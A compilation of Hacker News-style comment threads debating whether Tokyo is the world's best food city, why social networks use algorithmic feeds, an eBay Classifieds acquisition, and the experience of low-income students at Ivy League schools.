Especially someone who brags about the Japanese sending their "very best cooks to train in Europe" who then subsequently tries to belittle some of the world's top food destinations that happen to be in Europe.

</comment></comment></comment><comment><USER7> I just saw personal opinions, misogynist remarks (reference to a "dumb blonde who's just beautiful", because "dumb blondes" are not human, you see), condescending remarks, very limited world view, more personal opinions. Yes, Tokyo is the world's best food city…for the author.

I don't feel like looking up who the author is or what the author's prior reputation and accomplishments are (beyond what's mentioned in plain text in the comments here). Those cannot excuse the writing. The words in the article tell a lot.

<comment><USER8> Exactly, really don't see how this crap article even got to front page and got so much traction.

</comment></comment><comment><USER9> "Why Tokyo Is the World's Best Food City"? Because the author uses the word "fucking" at least once per paragraph. That is why. So off I go to Tokyo, visibly impressed.

</comment><comment><USER10> This is obviously very cras and opinionated, but there are 2 key points buried in there - the Japanese are distinguished by their willingness to appropriate good things from around the world. This is a huge difference, I find, compared to European countries, particularly France. They also, as he says, care a lot about what they do, and are devoted to food. This has it's downsides, eg try buying a cheap ugly apple in Tokyo, you will fail, the producer threw it away long before it could have ever reached the store.

I think Japan also gets a bit of a leg up over other places because if you have lived elsewhere all your life then you will find food in Japan incredibly novel and fascinating in provenance, packaging, preparation and presentation. When I first arrived I found even just the convenience stores mind boggling in the variety of stuff I had never seen before. The actual food halls are a whole other level from there. It is difficult to have the same experience if you have lived in the West and go to London/Rome/Paris for the first time.

<comment><USER11> "The actual food halls"

What are food halls in Japan? Something like food courts in Malaysia? - multiple different food joints (you eat standing there or take away to eat sitting at central tables)?

<comment><USER10> [http://www.jnto.go.jp/eng/attractions/dining/depachika/](http://www.jnto.go.jp/eng/attractions/dining/depachika/)

<comment><USER11> Interesting. Seems sort of like the malls in KL which also have food courts attached.

</comment></comment></comment></comment><comment><USER12> I am right and you're wrong if you disagree.

I don't like to eat paella, so it doesn't matter.

Mexican food doesn't matter

Hard to make a convincing argument that way.

<comment><USER13> It's weird because it's also wrong, which makes me think this person hasn't really thought hard about this:

\- There's a couple decent paella places, and some fine Spanish bars that serve some food.

\- "best patisseries in the world" is a stretch. There's good stuff, but most major cities in France have one or two places that would beat all of Tokyo's places.

\- The egg-salad sandwiches at most convenience stores are not super tasty. I mean it will beat any convenience store food outside of Japan, but I would still only eat convenience store food for time/money reasons. Best food of its kind, but a restaurant will usually be better.

\- there's a lot of South-asian restaurants? Notably thai, though I can't vouch for the quality, not knowing what the "real deal" is.

My experience mostly aligns with the author, though. Tokyo has such variety and such a high baseline for food compared to what I've experienced elsewhere that I'm afraid to leave because I've gotten so used to not worrying about bad food.

There's a lot of non-authentic stuff (Chinese places, notably, are all "Japanified"), but usually two or three places that are the real deal for a kind of food.

Except for breakfast food, have not been able to figure out where to get a "Waffle House experience" before 11 AM

<comment><USER14> In term of patisseries, it's a matter of taste. Patisseries in Japan tend to be less sweet than in France so if, like me, you like them less sweet, then it's difficult to find something as good in France.

I agree with the rest of what you say.

</comment></comment></comment><comment><USER15> It is if you don't have any dietary restrictions. I'm a Vegetarian and have been living in Tokyo for just over a year now. Coming from New Zealand which is vegetarian friendly (you're guaranteed to find vege options on any menu) I have found this aspect of Japanese living frustrating. I'm not suggesting they need to change but it is something to be aware of. Vegetarianism is a foreign concept to many Japanese and you will encounter situations where rogue meat will end up in your food much less fish. It's not impossible though (provided you can ignore that everything is cooked in meat fat) but I would say that if there are any vegans here they'd be SOL.

</comment><comment><USER16> Best Food city ? I'm writing from Tokyo right now (I go there several times a month) and while you certainly have a very good palette of choice, within Japan it's one of the most expensive places to eat, and the big problem that I have is that it's constantly crowded, especially where the food is a bit better than average. And the lack of space in general does not match with a super enjoyable experience. I'd prefer eating in Kansai any day, where you can actually relax and enjoy the food (cheaper and of very good quality too) instead of caring about the noise and the crowd.

<comment><USER17> Yep, i think so too. Kansai is less posh though on the average. Having the upscale experience might be important for some folks...

<comment><USER16> Osaka, certainly, but Kobe is definitely more on the same posh level as Tokyo, especially for more expensive restaurants.

</comment></comment></comment><comment><USER18> I read this article with a pinch of salt. The author is biased towards Japanese, French and Italian cuisines. He clearly notes the lack of South Asian and Spanish cuisine restaurants (what about Mexican? Filipino?) in Tokyo. How can a city have the best food in the world, if it's not even a fair representation of the world? That's like saying Japanese, Italian and French cuisines are the best in the world.

<comment><USER19> Mexican food anywhere in Japan is pitiful and only slightly less worse in Tokyo. Living in Osaka, I clearly see a lack of diversity. I'm French, lived in Paris and travels a lot but I agree with the article, I have been to some French and Italian restaurants (run only by Japanese) that offer the best value worldwide.

<comment><USER20> How is the Mexican food in Paris?

<comment><USER21> In general, the whole of Europe has no appreciation for Mexican food. I'm sure you can find some rare examples of "good" Mexican restaurants at one or two places in Europe but those are definitely the exceptions.

Mexican food in Europe... <shudder>

</comment></comment></comment></comment><comment><USER22> The best food city has to be the one with the most diversity of foods. If you want the best food of a certain cuisine, of course it would be hard to beat the cuisine's homeland. But some cities are better than others in providing high-quality (but maybe not the absolute best) examples of international cuisines.

Another factor is that, to me, the "best food city" is one that has excellent cheap food. This is also a factor proportional to the city's diversity. Some cities may have amazing high-end restaurants, but I'm not going to eat at a nice sit-down restaurant all the time (maybe even rarely). A city may have many Michelin stars, but when's the last time you considered a Michelin place for lunch? How many times would you go to one, maybe once a year, or less?

Because of this, I would rate many American coastal cities as some of the best places for food because of the diversity.

<comment><USER23> Tokyo is pretty cheap for normal people. At least, it feels cheaper than an American coastal city depending on swings in the exchange rate. This includes lower end foreign resteraunts.

<comment><USER24> That was my impression when I visited last year. Granted, USD was doing quite well against JPY at the time, but I was shocked at how much more affordable restaurants were in Tokyo than Seattle. My first meal there was an $8 bowl of ramen, and it was easily the best I've ever had.

</comment></comment></comment><comment><USER17> I bet that going to Kansai region (Osaka/Kyoto/Kobe/Nara) could beat Tokyo as far as food goes.

<comment><USER16> For Japanese cuisine, certainly. I agree with you. For western/fusion/foreign cuisine, I believe it's true that Tokyo has probably more choice and a higher level in general.

</comment></comment><comment><USER25> I usually come to HN to read articles that are the opposite of this one. I don't care who wrote this, I don't care who David Chang is, I come to HN to find facts, data, and rationality. I like the word fucking to emphasize something but I fucking hate reductio ad fuckingum arguments.

</comment><comment><USER26> IMHO - the one place where you get the best food in a 24 hour area from around the world, including affordable Michelin star food is Singapore.

Between the kopitiams (24 hr coffee shops), 4$ michelin star food [1] and the Timbre gastropark... you really can eat amazing food all in a day.

[1] [https://www.theguardian.com/lifeandstyle/2016/aug/04/micheli...](https://www.theguardian.com/lifeandstyle/2016/aug/04/michelin- star-for-singapore-noodle-stall-where-lunch-is-half-the-price-of-a-big-mac)

</comment><comment><USER27> [Well-known chef or not, Chang could cut out that excessive cussing, and _utterly_ tasteless comments about women.]

I don't get the impression the author includes vegetarian options. Or are we to be laughed off the room, because "it's a costal city"? But hey, he uses the all-encompassing "Best Food City".

<data-sample-one> Last year, when in Tokyo (was put up near Shinagawa station), after a long day of work, I simply wanted a good veggie / vegan meal. Took me 2 hours of ambling around (okay, some of it aimless; didn't take my phone with me) to find a place with one veggie option. I asked another vegetation colleague who visits Tokyo far more frequently, and he did kind of confirm: "yeah, it's slightly harder to find veggie / vegan options".

A month before that, was on the other side of Pacific (Seattle), and I found great many options, including delicious Japanese veggie food. </data-sample- one>

</comment><comment><USER28> I don't believe it's the 'best food city' even for vegetarians, let alone vegans :)

</comment><comment><USER29> I am not sure about the gourmet scenes in tokyo (I am a poor grad student), but in terms of groceries, they are the best. You can get extremely good quality beef from shops like daiei.

the most unusual stuff I have seen was in 7/11, I don't know how they cook such good quality oden, and even they keep very good quality sandwiches, weird, because to eat something quick and cheap people generally don't mind the quality so much, and the bathrooms are squeaky clean (the public hygiene sense in the us is still primitive if you compare with japan's). 7/11s also keep good onigiris, kara-ages.

tokyo street foods are also amazing, but a dinner at a mediocre restaurant will rip off your pocket.

</comment><comment><USER30> FYI, for all the jaded readers/commenters (everyone?) I think this is just a an op-ed piece in the vein of "Why X Is Better Than Y" That Lucky Peach has been doing.

[http://luckypeach.com/why-new-york-is-better-than-san- franci...](http://luckypeach.com/why-new-york-is-better-than-san-francisco/)

[http://luckypeach.com/why-san-francisco-is-better-than- new-y...](http://luckypeach.com/why-san-francisco-is-better-than-new-york/)

</comment><comment><USER31> I own quite a few copies of the Lucky Peach but I find myself not able to make the majority of recipes because their recipes focus on strong overpowering ingredients.

To me this is sad way of cooking, where a recipe is dominated by onions, or garlic or beats. Its poor man's ketchup cooking.

Is Tokyo the mecca of food? I don't know now but its narrow minded to say one city trumps them all.

</comment><comment><USER32> Best in what sense? Food is a matter of taste.

</comment><comment><USER33> Tokyo does have really great food, but let's not delude ourselves here, there are entire categories of cuisine that you simply won't find properly done in Japan. For starters, anything spicy (Thai, Indian, Mexican) tends to be severely lacking.

</comment><comment><USER34> starts off quite well, but then the article starts to disagree with itself and argues "well, the stuff we don't have I don't care about anyways". If you think this argument is reasonable then it actually applies to everything, everywhere. If I only care about what's great to eat in vietnam then it's the best place in the world that has everything in awesome, because the other stuff is not interesting to me anyways.

</comment><comment><USER35> Did Donal Trump write this article?

</comment><comment><USER36> > But you know what I don't ever really eat? Spanish food. I don't have to eat > paella ever again. Spain's a country I like to visit, but we're talking > about foods that I generally eat or I want to eat on a day-to-day basis.

If he thinks paella is Spain's main food he doesn't know anything

<comment><USER37> What is Spain's main food? When I was there, I tried to eat tapas whenever possible.

<comment><USER36> Spain, as a I suppose almost all the countries, doesn't have a "main food".

Paella is not even a food, it is just a dish with concrete ingredients and 99% of what is sold as paella is not paella, it is a rice dish.

EDIT: Legumes (beans, chickpeas and lentils) are the ingredients in the day to day dishes

<comment><USER38> I know paella as a rice dish with saffron plus other stuff like meat and veggies. The point, at least, I'm making is that if you talk to someone and ask them to think about Italian, Japanese, Chinese, etc food, they have a pretty good idea of what comprises that cultures culinary "menu". With Spain I don't see that. And I'm not saying this sarcastically, I'd really like to know for next time I go there, cause I feel like I'm missing something, and its not 10 year old jamon and eggs...

<comment><USER36> Yap, it happens the same with cheese or wine, the famous ones are French or Italian.

A good start for the variety is [https://en.wikipedia.org/wiki/Spanish_cuisine](https://en.wikipedia.org/wiki/Spanish_cuisine) even when the pictures at the right are wrong. It is not mixed paella and pintxos are not common in Catalonia.

<comment><USER38> Thanks, I'll remember to check the wiki again next time I go. I do think it's funny 2 out of 3 of the first dishes at the top of the page are paella and jamon...</comment></comment></comment></comment></comment></comment>


Ask HN: Why are social networks all moving to "what you missed" feeds? - <AUTHOR> I use Facebook, Twitter, and Instagram. All three have stopped using (for the most part) chronological feeds in favor of a "what you've missed/what you'll find most interesting in the past few days" feed.
The problem is: I'm finding that nowadays I almost rarely actually see posts from the day of when I'm looking at an application's feed. For instance, today I spent about 10 minutes on my lunch break scrolling through Instagram and I don't recall seeing a single post from today; all the posts were 2-5 days old.
I hate to say it but right now the best thing going for Snapchat and the main reason I actually use it is because they still show posts/snapchats in chronological order. If I want to stay up to date on friends, I just need to go through my Story feed.
It seems like for all other networks I either don't have the option at anymore to return to chronological order, or the setting never persists (looking at you, Facebook). I don't want to be required to go to specific friends' profiles on x/y/z networks just to see what's going on with them.
I feel that rather than this new movement improving my social networking activities, it's just bringing them down and wasting my time. I prefer to use social networks to see what's happening _right now_ and not what I missed two or some N days ago.
What true benefit is there to forcing this kind of feed on users? I'm certainly not experiencing any. <comment><USER2> This is commonly called an 'algorithmic timeline'.

Some of the potential advantages (not always realized) for users:

\- Based on your like/share/visit/interact history, certain people's content will be prioritized, because the algorithm thinks you like it

\- You see these 'what you missed' posts, which is content from a friend that attained more likes/shares than usual, and theoretically represents 'gems' your friends produce. This allows popular content to bubble to the top, producing a feel of accomplished virality for the producer, and encouraging more engagement

Some of the advantages for the site operator:

\- It encourages users to interact with content they actually like, to feed the algorithm's dataset and build a better profile of what everyone likes

\- It destroys the expectation that all available content will be surfaced chronologically, obfuscating the true quantity of actual content on the user's timeline, thereby allowing a higher density of ads and other sponsored content to be displayed to the user

</comment><comment><USER3> If they don't do that your feed will be overwhelmed by social media enthusiasts and companies, and somewhere in there was your real friends rarely posting stuff you really want to see.

</comment><comment><USER4> niftich's got a pretty good answer.

Most social network feeds are organized using machine learning algorithms. The ideal case is to see the latest non-trash content, but that requires the machine to interpret natural language / photos in the post. We're not quite there yet, so instead, algorithms rely on meta-data. I.e. views / shares, and match them to similar character models to yours.

This is one layer removed from the actual content, but in order to assess its entertainment value, it needs context, which takes time to collect. The results in delay in reaching your feed.</comment>


4 questions to help me understand how people contribute to open source - <AUTHOR> http://www.zoomerang.com/Survey/WEB22FJY9L3RZ3

<comment><AUTHOR> I promise I'll publicize the results. I just need to get an objective measurement of what's real versus what everyone thinks is real.</comment>


Adevinta acquires eBay Classified Groups for 9.2B$ - <AUTHOR> https://www.adevinta.com/news/adevinta-signs-agreement-to-acquire-ebay-classifieds-group/ <comment><USER2> They acquired the classified business not the entire company. Might want to make that clear in the title.</comment>


What is it like to be poor at an Ivy League school? (2015) - <AUTHOR> https://www.bostonglobe.com/magazine/2015/04/09/what-like-poor-ivy-league-school/xPtql5uzDb6r9AUFER8R0O/story.html <comment><USER2> I can relate. I did not go to an Ivy League (though, maybe I should have at least applied). I grew up poor and outside of town. No school activities, ever. I could barely get rides to AP exams and SATs. I had a kid at 15. I would steal food from the cafeteria and sell it cheaper to other students so I could afford to eat that night. I believed my only way out of poverty was a college degree. I worked my ass off over the summers to help float me through the year and kept a 4.2 GPA in high school. Got full ride scholarship to a local university. Got married. Got an apartment. Wife worked as a waitress, I scored a job as a student graphic designer working with the university's lead graphic designer in the media department.

University for me: no activities. Ever. No traveling. Go to class. Go to work. Go home. Ace tests (mostly). Rinse, repeat for 4 years. I did not hang out with university classmates once. I could not afford to (I could hang out with childhood friends because "going out" was not in our shared vocabulary). The times spent on projects and small talk let me know how much of an outsider I was.

I managed to finally get a beat up truck (could only be pop-started, electronics only worked in a hard left hand turn, and more awesomeness) by my second year, as opposed to the new Lexuses and BMWs that many of my classmates drove.

I did miss out on something that I wish I would have been told more explicitly: university is not just about an education, it is about networking. I got zero networking done. I got the degree and got out. Because of my lack of networking, I believe my career was slower to build.

Fast forward a bit. I'm doing fantastic. My oldest kid is now starting college (we have two others), I'm still with her mom, I make over 6 figures, and I have a job I throughly enjoy (I look forward to Mondays). My degree was important for me and I think was a large part of helping me get out of poverty. I never felt that I was a part of the university I attended. I enjoy my life story and it helps me appreciate the life I lead.

<comment><USER3> > I did miss out on something that I wish I would have been told more > explicitly: university is not just about an education, it is about > networking. I got zero networking done. I got the degree and got out. > Because of my lack of networking, I believe my career was slower to build.

Strange, when did you go to college? When I first arrived in college in 2012 the commonly held knowledge among students was that "while the education you'll learn here is important, but the chance you have to grow in the 4 years as a person and network with others is priority #1"

<comment><USER2> I started way back in 2001 :) I'm sure they mentioned something about networking, but I think it may not have been as explicitly told to me as I required at the time.

</comment></comment></comment><comment><USER4> I can relate to this, though my situation is a little weirder than most. My parents were immigrants and we were very poor when I was younger. They became doctors sometime around middle school, so we effectively shifted up to upper- middle class. Our quality of life changed in a few ways - didn't have to think about the cost of healthcare or school. But we also didn't start buying fancy clothes, cars, or food. My parents have never gone to fancy galas, and they don't exactly rub shoulders with the wealthy.

I remember feeling very jarred when I first met "rich white people" in high school. It blew my mind. What did these people do? What are their families like? It truly fascinated me. This continued well into college where I met even more people from very, very wealthy backgrounds. I dated someone whose father was a dean of the school we went to, and I was extremely nervous when I visited their... mansion.

Because I met a bunch of "rich white people" in high school, I became fairly acclimated to them. It really does taking meeting someone face-to-face to realize that they're not so different from you. I imagine it's the same when rich people meet very poor people.

It makes me think that the issue isn't that poor students feel uncomfortable around rich students, but rather that the first time they ever meet rich students is in college. If they met earlier - perhaps in elementary or middle school - this discomfort would not be there.

<comment><USER5> What's your definition of rich white people? Just curious. AFAIK I've never met any "rich white people" of the type portrayed in nearly every Hollywood movie about school (high school or collage). I'm not saying they don't exist just that I haven't met any so I'm wondering if maybe I did and didn't know it.

I certainly didn't met any kids in high school that had any kind of money to flash (a fancy car or other expensive things to show off).

<comment><USER6> I worked near a 'nice' high school whose parking lot was filled with BMW's. Which is not really 'rich' but dual income in that area often meant 300+k family income by the time kids where in high school. Economically this meant a 5 year old car that might have been 50k new was not really unusual.

In many ways the gap between 30k / year and 300k/year is larger than the gap between 300k / year and 3 million per year.

PS: I actually know several people that inhered low to mid 7 figures. But, they are really more upper middle class than the kind of 'Rich' you see in a Hollywood film. But, plenty of people would consider that rich.

<comment><USER7> Considering the median salary in the USA is $51939, which is the equivalent of 5.1% return on $1M cash, I would say the plenty of people who consider that more than "upper middle class" are correct.

<comment><USER6> 5.1% return above average but still reasonable. However, inflation is ~2.5 - 3%. So, unless your spending principle that's 21k/year ignoring taxes. Also, many people get discounts on health insurance and other benefits that don't apply.

Sure, you can burn down your principle based on life expectancy. But that's only really useful if your old. At 40 even 1% in your first year will probably cause you to run out of money.

<comment><USER8> Long term returns on the S&P 500 have averaged ~7% real returns including dividends. In personal finance there's a "4% Rule" which is supposed to be your target annual withdrawal if you're living off the money as a retiree. The 3% spread allows for market crashes, long periods of stagnancy in returns and a small increase in living standards as you age, however, if you're young I do agree a smaller 2-3% withdrawal level is appropriate.

source: [http://www.investopedia.com/ask/answers/042415/what- average-...](http://www.investopedia.com/ask/answers/042415/what-average- annual-return-sp-500.asp)

<comment><USER9> You're not putting 100% of your portfolio in equities if you're living off its cash flow [1]. ZIRP means your fixed income can flow is weak. Things to consider when allocating as a retiree.

[1] imo it's okay to do this while you're in the workforce since you're salary effectively acts as your fixed income portion of the portfolio.

<comment><USER8> My prior comment may not have been 100% correct. I believe the specific research that lead to the so called 4% rule did include a mix of stocks and bonds. As you point out, you would tend to roll back your risk tolerance as you reach retirement. Here's more on it for anyone interested:

[http://blog.cordantwealth.com/how-much-can-i-spend-in- retire...](http://blog.cordantwealth.com/how-much-can-i-spend-in-retirement- our-take-on-the-4-rule)?

</comment></comment></comment></comment></comment></comment></comment></comment><comment><USER10> I went to a very high ranking, but not "Ivy League" MBA school, with a good mix of economic classes represented. There were the usual "in" and "out" groups you find in any institution. The cliques were, broadly: 1\. Not-rich American students with massive loans to finance everything 2\. International students 3\. Already fairly wealthy consultants and bankers there just to "get their ticket punched" 4\. A tiny handful of ultra-wealthy-and-well-connected

Group 1 (me) and 2 tended to hang out together, spend all the time studying, clipped coupons, ate ramen noodles, never went out, and got ulcers worrying about whether they'd ever get a job after graduation that could pay off this gamble.

Group 3 spent and partied more and really only worried that the cushy banking job they would inevitably get was less prestigious than the cushy banking job their peers would inevitably get. They would occasionally interact with us commoners.

I have no idea what group 4 did, as they didn't have anything to do with any of us, but they seemed pretty nice and didn't seem to be worried about anything. Kind of aloof but not assholes.

As someone who grew up in a rural mining town, I didn't exactly feel uncomfortable but there was definitely a sense that I was getting a glimpse into an alternate, parallel universe. Mostly people were really cool and there was a lot less "snootiness" than I expected. Just not a lot to talk about with someone who's economic situation was vastly different than yours, so people naturally gravitated towards others who were similar. I guess I learned that rich people aren't cartoon villains looking down on us while twirling their superior mustaches. They just live in a different world from us and they understand as little about our lives as we understand about theirs.

</comment><comment><USER11> Even being a poor grad student at an Ivy feels like this. The undergrads are wealthy and the grad students cherish every dollar of their ~$30k salary while still sometimes do side work to get by since city's have rents set for the higher income undergrads.

There was some resentment we had for our students to say the least.

<comment><USER12> I'm a poor grad student at an ivy, and I have to say that I find just under 30k a year far more than enough for myself. The whole starving grad student just doesn't hold up in rich private institutes. I live in a cheap house with four others, but my peers have apartments in some of the nicest buildings around. I cook my own food most of the time, but many grad students eat out twice a day, even if only at a food truck.

Now I won't pretend that 30k is much to raise a family with, or much if you have to help out your parents or siblings. But I'm saving a sizeable chunk of my income and I'm not even supplementing it with tutoring the rich undergrads, which can net you two hundred plus a week for a few hours of work.

<comment><USER13> I thought the stipends were more like $12k/yr and it was not allowed to seek outside work (though everyone did and had to, to get by).

<comment><USER12> My offers for stem PhD programs at ivy-type private research institutions were about 30k, one was more like 35k. At university of California schools, the stipend was more like 19k (and a higher cost of living). My current stipend is the standard here and not due to unusual scholarships or grant money. We're supposed to ask permission for outside work, but the department will actively help you find people to tutor.

<comment><USER13> Ah. My sister was in the humanities at an Ivy, so that could be the difference.

<comment><USER14> Humanities grad students have a _much_ worse deal than STEM ones, typically.

From what I've seen, for STEM, the assumption is that your tuition is covered, you get a stipend that you can actually live on, your medical insurance is covered. For humanities, the working assumption is that none of that is true, and if some of it happens to be true, you're in luck.

Oh, and the humanities degrees often take longer too.

</comment></comment></comment></comment></comment></comment><comment><USER15> Yep. I remember my parents spending more time talking to cafeteria workers, I didn't even think it was appropriate for them to meet my professors, nor did I think it was an option. Being weeded out from social circles was also painful. "Let's go downtown for dinner Saturday night", "Nope I'll meet up with you guys later, I've got something else going on."

<comment><USER16> That's what struck me hard as well. I was a poor kid in a largely wealthy Ivy league school, there on scholarships and a whole lot of debt.

There's no difference between you and the wealthy folks in class, your brain works the same as theirs.

Socially, it's a whole other story. I could never afford to go out, and all my evenings were spent working at either a cafeteria or as a lab assistant, anything to pay the minimum payments on my loans. My classmates would invite me out with them for dinners and trips, but I never went, and eventually they stopped asking. My social circle became other students in similar situations, but it definitely made me feel like I didn't belong.

This social stratification was also present in class, when people had to form up for groups for group projects, since those groups tended to form along social group boundaries.

I don't regret going one bit, though. I have a great degree, paid off my debt, and have been working in preeminent silicon valley companies for more than 20 years now.

</comment></comment><comment><USER17> I'm having a hard time understanding the issue or being empathetic. If somebody invites you to go to dinner and a movie, why cant you explain that you cant afford it or would rather not spend the money?

Would you rather them not invite you? I've always found that rich people are not trying to put you down by talking about their boats, clothes, or businesses. They just live with a different set of parameters that people can't relate to.

I think it's wrong to expect Harvard to provide a "safe space" for poor people. We should instead expect _everyone_ to respect each others differences. Rich, poor, jamaican, colombian... People are people. Instead of being self-conscious about what makes you different, embrace the differences and expand your world view.

<comment><USER18> > I think it's wrong to expect Harvard to provide a "safe space" for poor > people.

Is anyone asking for this? What a disingenuous comment.

> Instead of being self-conscious about what makes you different, embrace the > differences and expand your world view.

Sure. But that can be a risky endeavor. Embracing differences isn't all sunshine and roses. So what might practicing this mean in practice for the poor student.

"Sure, I'll go socialize with you tonight and expand my world view!" Oh fuck, now I'm broke and can't pay for housing anymore.

"Ok I'll party with you and do coke with you and expand my world view!" Wow we both bombed our finals, but my scholarship won't support me with this lower GPA, guess I won't see you in class next semester, bye.

<comment><USER17> > Is anyone asking for this? What a disingenuous comment.

I suppose I should have used a less politically charged term despite the nature of my intention. Maybe the quotation marks triggered your response. Safe space was simply a convenient term to describe:

> the First Generation Student Union, pushing for a better understanding of > challenges financially disadvantaged students face.

<comment><USER19> I kind of see your point, but OTOH, retention is a _huge_ issue throughout higher education. Some of this is due to the expansion of college compared to the 50s and 60s, but not all. State schools have something like this, though maybe by a different name. Scholarship athletes also have direct help in order to keep their grades up to snuff, but also because a large portion of them are also first generation college students.

If you have 12% or more of your first year class dropping out because of preparedness, then the institution has a big problem regardless of whether it is a state school or an ivy league. And if a high portion of that group is lower income, that's a huge black eye for some of the wealthiest and most prestigious institutions in the world.

</comment></comment></comment></comment><comment><USER20> When I was accepted to one of the best universities in the UK I applied for the standard loans and grants from the government.

I didn't get a grant: my parents earned about £1000 more than the threshold for one. I lived and socialised with people who did get grants. If anything, they seemed to have slightly more spare cash than I did.

In any case, there were plenty of students with a similar amount of not-much- money. I couldn't afford to go backpacking round Central America, but I could go to occasional big rock concerts or a music festival. We couldn't afford to go to the fancy clubs in central London, but we could afford to go to the... less fancy ones, where drinks were £1 and your shoes stick to the floor. That was just as much fun :)

</comment><comment><USER21> This is one of the reasons why I do love the system here in Belgium. I studied at a university which is at the moment number 40 in the world university rankings ([https://www.timeshighereducation.com/world-university- rankin...](https://www.timeshighereducation.com/world-university- rankings/2017/world- ranking#!/page/0/length/25/sort_by/rank/sort_order/asc/cols/stats)) which is pretty good if you ask me.

And the price I paid for each year was about 700 euro plus whatever the books cost. Came to a total of about 4500 euro (books included) for the 5 years that I studied there.

I'm glad that I did not have to pay the rediculous prices they do in the UK or in the US, because my parents would not have been able to afford that.

EDIT: And there is actually a system for parents whom do not meet the minimum income either, that the university covers part, or all, of the cost. I do not have experience with that though because even though my parents did not attend a university, their income was above the minimum to apply for that.

<comment><USER22> At elite schools in the US, the money spent _on_ college is not the significant gap between those from wealthy or poor families, but the money spent before college (i.e., the background experiences they come in with) and the money spent outside of college (i.e., the experiences you can't engage in while your there.)

To be clear, affording college is a real struggle for lots of Americans, but if you get into a top Ivy school, it's usually a much smaller burden than a second-tier one. They have big financial aid programs; I have a friend going to Harvard from a lower-class background, and their tuition is essentially nothing, but they feel extremely out of place.

</comment></comment><comment><USER23> I went to Stanford. I was poor. I think young people are bad at peeling through the layers of superficial bullshit that mask most human interactions.

Rich, Middle Class and Poor can all have screwed up (or awesome) lives in different ways...

If you get to the core of it we all struggle but yes the day to day is different. I think you can always find "pockets" of people in all classes that are curious free thinkers trying to relate to people from different backgrounds -- especially at Ivy League schools. Unfortunately kids who are young are also insecure about surface things.

We need to just push diversity in the dorms and fraternities/sororities because I don't think "economics" really has much to do with it unless you make your whole life about buying $200 shirts or going to fancy restaurants.

I also think the high end universities should give poorer kids a social stipend -- it is a really bad thing if all the rich kids hang out together and all the poor kids hang out together. The whole point of the Ivy League is to put the best minds together and to build a bridge between old school wealth and talented youth.

</comment><comment><USER24> What does one do with a sociology degree, even one from Harvard?

Edit: I didn't mean that to be as critical as it sounded.

<comment><USER25> Anything for 2 years, then MBA, then Wall Street.

<comment><USER24> I forgot about this path, you're right. A friend of a friend graduated from Penn with a degree in some fairly specific humanities field. English Comp or something like that (the point is that it was much more specific than "Psychology" or something). He worked at the school for a brief time, maybe a year, then got a graduate degree then went to Wall Street.

</comment></comment></comment><comment><USER26> Wait, Boston Globe, for shame. Ana's height, bone structure, and hair are described, but we never get even a cursory description of Ted?

When you start looking for this shit, it's everywhere.

<comment><USER27> Well in the article is a photo of Ted so I think they assumed no description was needed.

</comment></comment><comment><USER28> Wow. How years can give perspective.

<poor kids sense their disadvantage.

Oh how not true. It may feel like a disadvantage but everyone has some disadvantages.

A kept child that never had to contribute to meeting their families bills can never understand what that is like. To not have the backstop of a bank account.

Poor is not a indicator of effort for ivy-ers but a badge of success no kept young adult can ever experience.

Just like families where the marriage failed, the children will never know a happy home. And the mostly unsaid sense of decision failure associated with divorces. Everyone has some disadvantages. Turn them into advantages.

So my "advice" to a poor student is take your experience as a one-up to those around you that will never be able to know poor-mess. Most likely you earned your good future as it won't be given to you.

</comment><comment><USER29> Colleges should probably offer a summer class before freshman year to teach low income students the common sense ways to do well. The class should be taught by seniors who are also low income.

<comment><USER30> 'common sense'?

</comment></comment><comment><USER31> I would recommend those interested in an international perspective on this to watch the below debate at the Oxford Union, which deals with class at Oxford.

[https://www.youtube.com/watch?v=4IM6PGwjBSc&t=312s](https://www.youtube.com/watch?v=4IM6PGwjBSc&t=312s)

</comment><comment><USER32> Should rich kids make an effort to help poor kids feel welcome, yes. However, the net feelings of everybody at Harvard should be excitement for the probably awesome future that they have after college and focus on getting the education that will make that more likely.

<comment><USER33> Daily interaction with people who are clearly in very different socioeconomic circles than you is so godamn exhausting. I studied with a bunch of rich kids when I was a child and I still have self-esteem problems 20 years later.

Harvard is overrated anyway. You're not going to get a better education, you're just going to be around a lot of rich people.

</comment></comment><comment><USER34> *(2015)

</comment><comment><USER35> This is what you have to do to become an ancestor.

</comment><comment><USER36> My experience going to an Ivy...

If you are social, if you are smart, not a selfish asshole... people will like you, accept you, and most people realize that we don't pick our parents -- how much money you have in college doesn't matter. Going to an Ivy... it's not the academics that sets the alumni apart, it's the networking. You learn to judge your peers based on who has potential and who doesn't -- this is the elitism that a lot of people talk about. Some of that is based on money (clearly a kid who has billionaires for parents has a leg up), but a lot of it is based on the individual person. If you feel like a lack of money will hold you back... then it'll hold you back. If you don't... it won't.

So how this plays out... mind you this was 20 years ago... but in my fraternity (which wasn't one that asked for parents' financial records) we had a checkbox on the form you turned in along with your dues, and it simply said, "I can't pay my dues this semester." I don't recall anyone scamming the system, and it was in place because we didn't want to discriminate against brothers who didn't have as much money, or who were going through a rough patch. I remember talking to a guy who had come to a bunch of our parties... he was dead set against rushing... I pulled him aside 1:1 and asked if it was a money thing... once we got past that he was in and became one of the officers a few years later. (I probably wouldn't recommend everyone join a fraternity, but they can offer a sort of extended family / support structure that's nice when you're away from home for the first time.)

Another example... I had a weekly poker group... we started off playing for $20 in chips. We would invite people based on who we wanted to hang out with, smoke cigars with, drink with... and someone ended up bringing his roommate. Cool guy, we all loved him. He said he didn't have $20 to spare. Rather than just give him $20 (which would have solved the issue but made him feel like he didn't belong or was beholden to someone else) we just dropped the entrance fee and played for chores. 5 guys... The winner got 2 chores from the person in 5th place, and 1 from the person in 4th, and 3 from the person in 2nd. And similar allotments... I had to vacuum that kid's apartment and do his laundry after he beat me (and he had to do the same for me when I won). If you wanted to "buy back in" you could, but it cost you some outlandish dare... basically everyone would get to humiliate you in exchange for more chips. In the end the money wasn't at all important, we were still all just playing for pride.

Final example... Textbooks have always been a bitch. Even 20 years ago. I'm sure it's worse now... but back then we'd line up classes with friends, form study groups (typically these transcended semesters), and then we could buy one book for 2-3 people. The added perk of this was we could share notes, do less work... cultivate that whole networking thing that was so important. If you were smart, took good notes... everyone wanted you in their study cluster. You could negotiate... if you had money or not... "Let's do this, just the 3 of us... I'll take notes 1/3 of the time but I don't want to pay for the book..." and the guy who took sloppy notes would say, "Sure, but how about you take notes 2/5ths of the time and I'll buy the books..." And anyway I remember a lot of people having little deals like this.

